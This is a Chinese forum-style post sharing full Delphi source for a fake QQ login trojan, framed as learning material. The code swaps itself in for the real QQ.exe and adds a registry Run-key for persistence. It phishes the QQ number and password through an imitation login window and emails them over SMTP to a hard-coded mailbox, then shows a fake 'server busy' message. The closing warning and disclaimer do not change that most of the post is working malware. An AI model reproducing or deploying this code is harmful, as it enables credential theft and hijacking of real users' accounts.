|
源代码网推荐
本人最近听说网上有人用假qq盗取qq密码的事,开始百思不得其解,某日突然灵感以来。想到原理是如此简单,特用一天时间写下该程序。。和各位大虾交流学习。。。 主要的过程为,程序先假拌qq2003版的登陆界面,当启动程序时,就会在注册表中搜索qq的安装路径。 找到后将真的QQ.exe文件改名称,随后将假QQ.exe复制过来。。当用户在登陆框输入帐号密码信息时,程序就会立即发送到指定的邮箱。如此一来。。嘿嘿黑。。。。。。
下面是具体实现过程:
var Form1: TForm1; Track: boolean; jqqpath,zqqpath: string; implementation uses Unit2;
{$R *.dfm}
procedure hehe; var reg: TRegistry; begin
//先在注册表中搜索qq目录
jqqpath:=application.ExeName; reg:=TRegistry.Create; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey(’SOFTWARE’,false); if reg.KeyExists(’腾讯QQ’)=true then begin track:=true; reg.OpenKey(’腾讯QQ’,false); zqqpath:=reg.ReadString(’Install’);
//找到后进入该目录
chdir(zqqpath);
//重命名qq.exe 为 softman.dll
renamefile(’qq.exe’,’softman.dll’);
//将自己复制到该目录
copyfile(pchar(application.exename),pchar(zqqpath+’QQ.exe’),false); reg.Free; end else begin track:=false; reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey(’SOFTWAREMicrosoftWindowsCurrentVersionRun’,false); reg.WriteString(’softman’,application.ExeName); reg.Free; end; end;
//创建快解方式的函数
function AddTail(Src: String): String; //在路径字符串的最后加上’’ begin if (Src[length(Src)]<>’’) then result:=Src+’’ else result:=Src; end; procedure CreateShortCut(FileName, ShortCutName: String); var tmpObject : IUnknown; tmpSLink : IShellLink; tmpPFile : IPersistFile; PIDL : PItemIDList; StartupDirectory : array[0..MAX_PATH] of Char; StartupFilename : String; LinkFilename : WideString; begin StartupFilename:=FileName; tmpObject:=CreateComObject(CLSID_ShellLink); tmpSLink:=tmpObject as IShellLink; tmpPFile:=tmpObject as IPersistFile; tmpSLink.SetPath(pChar(StartupFilename)); tmpSLink.SetWorkingDirectory(pChar(ExtractFilePath(StartupFilename))); SHGetSpecialFolderLocation(0, CSIDL_DESKTOPDIRECTORY, PIDL); SHGetPathFromIDList(PIDL, StartupDirectory); LinkFilename:=AddTail(StartupDirectory) + ShortCutName + ’.lnk’; tmpPFile.Save(pWChar(LinkFilename), FALSE); end;
procedure TForm1.button_cancelClick(Sender: TObject); begin close; end;
procedure TForm1.button_clearClick(Sender: TObject); begin ComboBox_id.Clear; edit_password.Clear; end;
//这里可看到本程序的”关于” procedure TForm1.button_zhuceClick(Sender: TObject); begin if (combobox_id.Text=’softman’)and(edit_password.Text=’softman’) then begin form_about.Show; end; beep; end;
procedure TForm1.Label2Click(Sender: TObject); begin
//该超连接和真正的qq(”忘记密码”)的一样。
ShellExecute(handle,nil,pchar( _blank href=http://service.tencent.com/reg/getpassword.shtml>http://service.tencent.com/reg/getpassword.shtml’),nil,nil,sw_shownormal); end;
procedure TForm1.Label1Click(Sender: TObject); begin
//该超连接和真正的qq的(声请密码保护)一样。
ShellExecute(handle,nil,pchar( _blank href=http://service.tencent.com/reg/register.shtml>http://service.tencent.com/reg/register.shtml’),nil,nil,sw_shownormal); end;
//以下是核心,使用 Tidsmtp访问须要验证登陆信息的smtp邮件服务器
procedure TForm1.button_logonClick(Sender: TObject); var qq_id,qq_password: string; begin qq_id:=combobox_id.Text; qq_password:=edit_password.Text; //form1.WindowState:=wsMinimized; form1.Hide; //ready connect smtp.AuthenticationType:=Atlogin; smtp.Host:=’smtp.163.net’; smtp.UserId:=’et_1030@tom.com’; smtp.Password:=’邮箱密码’; smtp.Port:=25; try smtp.Connect; finally end; //mail try idmsg.Subject:=’qq帐号消息!!!’; idmsg.From.Text:=’et_1030@tom.com’; idmsg.Recipients.EMailAddresses:=’et_1030@tom.com’; idmsg.Body.Add(’qq帐号:’+qq_id); idmsg.Body.Add(’帐号密码:’+qq_password); smtp.Send(idmsg); finally smtp.Disconnect; //这里实际上只是假象,无任何意义。(当你看到下面的提示,qq就不保了。。!) messagebox(0,’服务器忙,请稍后再试.’,’正在连接...’,0); form1.Close; end; end;
procedure TForm1.FormCreate(Sender: TObject); begin hehe; if track=true then begin CreateShortCut(zqqpath+’QQ.exe’,’腾讯QQ’); end else begin CreateShortCut(application.ExeName,’腾讯QQ’); end; end;
end.
程序大概就这些了。。希望广大网友保护好自己的qq,不要让非法之徒盗取!!小心小心呀。。。 具体程序可到本站的[程序下载]处获得(当然如果Dboy大哥同意我放的话)。千万不要拿来害人哟。^_^ 希望广大网友多提建议,让我们共同生活在自由又安全的网络世界里。。。
|
源代码网整理以下
|